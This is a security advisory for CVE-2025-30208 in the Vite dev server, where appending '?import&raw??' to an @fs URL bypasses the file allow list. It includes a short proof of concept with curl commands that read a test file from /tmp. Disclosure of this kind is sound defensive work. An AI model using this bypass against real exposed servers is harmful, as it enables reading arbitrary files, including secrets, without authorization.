BREW-VITE-CVE-2025-30208 (GHSA-X574-M823-4X7W)
Vulnerability from osv_homebrew – Published: 2026-08-13 17:48 – Updated: 2026-09-17 19:24 – Source websiteSummary
The contents of arbitrary files can be returned to the browser.
Impact
Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.
Details
@fs denies access to files outside of Vite serving allow list. Adding ?raw?? or ?import&raw?? to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as ? are removed in several places, but are not accounted for in query string regexes.
PoC
$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev
$ echo "top secret content" > /tmp/secret.txt
# expected behaviour
$ curl "http://localhost:5173/@fs/tmp/secret.txt"
<body>
<h1>403 Restricted</h1>
<p>The request url "/tmp/secret.txt" is outside of Vite serving allow list.
# security bypassed
$ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw??"
export default "top secret content\n"
